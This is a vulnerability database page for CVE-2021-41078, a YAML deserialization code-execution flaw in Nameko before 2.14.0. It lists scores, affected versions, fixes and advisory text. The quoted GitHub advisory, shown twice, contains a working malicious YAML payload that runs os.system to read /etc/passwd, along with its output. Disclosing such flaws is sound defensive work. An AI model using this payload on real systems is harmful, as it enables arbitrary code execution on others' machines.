Every CVE Search/ Get API key

CVE-2021-41078

Nameko Arbitrary code execution due to YAML deserialization

7.8 HighPublic exploitFix available

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.54%Up 0.4 points since Oct 27, 2021
90%50%10%1%

What each source reports

NVD Score used 7.8

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Record
CVE-2021-41078
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS 2.0
6.8 MediumAV:N/AC:M/Au:N/C:P/I:P/A:P
Weakness
CWE-502
Updated
2026-11-02
CVE List No score

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Record
CVE-2021-41078
Updated
2026-11-02
EUVDEUVD-2021-0138 No score

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Record
EUVD-2021-0138
Updated
2026-11-03
GitHub AdvisoriesGHSA-6p52-jr3q-c94g 9.3

Nameko Arbitrary code execution due to YAML deserialization

Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...

Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

Record
GHSA-6p52-jr3q-c94g
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVSS 3.1
8.6 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSV 7.8

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Record
CVE-2021-41078
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-6p52-jr3q-c94g 9.3

Nameko Arbitrary code execution due to YAML deserialization

Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...

Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

Record
GHSA-6p52-jr3q-c94g
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVSS 3.1
8.6 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVPYSEC-2021-383 No score

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Record
PYSEC-2021-383
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
nameko
PyPI
 before 2.14.0
2.14.0
nameko
PyPI
 3.0.0rc0 to 3.0.0rc9
3.0.0rc10
nameko
PyPI
 before 2.14.0, plus listed versions
0.1.10.1.20.1.30.1.40.1.5
Show 45 moreShow less
0.1.60.1.70.1.80.1.90.2.00.2.10.3.00.4.00.4.10.5.00.5.10.5.20.5.30.6.00.7.01.0.01.0.11.1.01.1.11.1.21.1.31.1.41.10.01.10.11.11.01.11.11.11.21.11.31.11.41.11.51.12.01.13.01.14.01.2.01.2.11.2.21.2.31.2.41.2.51.3.01.3.11.3.21.3.31.3.41.3.5
2.14.0
nameko
PyPI
 3.0.0rc0 up to 3.0.0rc10, plus listed versions
3.0.0rc13.0.0rc23.0.0rc33.0.0rc43.0.0rc5
Show 4 moreShow less
3.0.0rc63.0.0rc73.0.0rc83.0.0rc9
3.0.0rc10

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubs-index/CVE-2021-410782022-08-28

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-41078 is a high vulnerability (CVSS 7.8) in Nameko, published October 19, 2021. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 1.54%, the 75th percentile. Fixed in nameko 2.14.0.

References

This page doesn't list everything

Left out here: 46 versions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open